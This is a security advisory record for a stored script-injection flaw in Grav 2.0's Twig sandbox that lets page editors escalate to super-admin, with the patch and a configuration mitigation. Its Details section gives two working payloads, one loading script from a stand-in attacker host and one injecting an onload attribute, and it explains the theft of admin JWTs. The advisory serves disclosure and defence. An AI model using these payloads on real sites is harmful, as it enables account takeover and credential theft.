{"id":"GHSA-8hgv-xc77-jmcr","aliases":[],"url":"https://o3.security/vulnerability/GHSA-8hgv-xc77-jmcr","summary":"Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin","details":"## Summary\n\nGrav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\\Common\\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `<script src>` / `<link href>` tag. The asset URL is concatenated into that tag **without escaping**, so it can also break out of its own attribute.\n\nThe save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.\n\nThis is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method.\n\n## Affected versions\n\nAll Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\\Common\\Assets`. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19.\n\nGrav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`.\n\n## Details\n\n**Reachable by a plain page editor, with no Twig permission and no configuration change.** On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page's `process.twig` to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor — they do not gate whether Twig runs.\n\n**The sink.** `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping:\n\n```php\nreturn '<script src=\"' . trim($this->asset) . $this->renderQueryString() . '\"' . $this->renderAttributes() . ...\n```\n\nFor any remote asset, `BaseAsset::init()` stores the caller's string verbatim. Two working variants follow:\n\n1. External script inclusion — `{{ assets.addJs('https://attacker.example/poc.js') }}`\n2. Attribute injection with **no attacker-controlled host** — `{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag's attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself.\n\n**Timing.** `Twig::processSite()` resolves `$page->content()` before rendering the theme template, so the registration lands before the head is emitted.\n\n`javascript:` and `data:` URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.\n\n## Impact\n\nPersistent script execution on the site's own origin for every visitor of the affected page — **including administrators**, which makes this a page-editor-to-super-admin escalation:\n\n- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox=\"allow-same-origin allow-scripts allow-forms\"`, so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.\n- Admin-Next persists the administrator's API **access and refresh JWTs** in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.\n- An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.\n\n## Patches\n\nFixed in Grav 2.0.20:\n\n- `addcss`/`addjs` removed from the `Grav\\Common\\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults.\n- Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.\n\nOperators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`:\n\n```yaml\ntwig_sandbox:\n  denied_methods:\n    - class: Grav\\Common\\Assets\n      methods: 'addcss, addjs'\n```\n\n## Credits\n\nReported by Ahmed Ibrahim (@skeletonsec).","published":"2026-08-21T19:14:59Z","modified":"2026-08-21T19:30:07.436744619Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"getgrav/grav","fixedVersion":"2.0.20"}],"fix":{"url":"https://github.com/getgrav/grav/commit/a4e8c4b748eb338ee7ab1dd26e7620a93bade047","label":"getgrav/grav@a4e8c4b"},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-8hgv-xc77-jmcr"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/a4e8c4b748eb338ee7ab1dd26e7620a93bade047"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://github.com/getgrav/grav/releases/tag/2.0.20"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-21T19:30:07.436744619Z"}}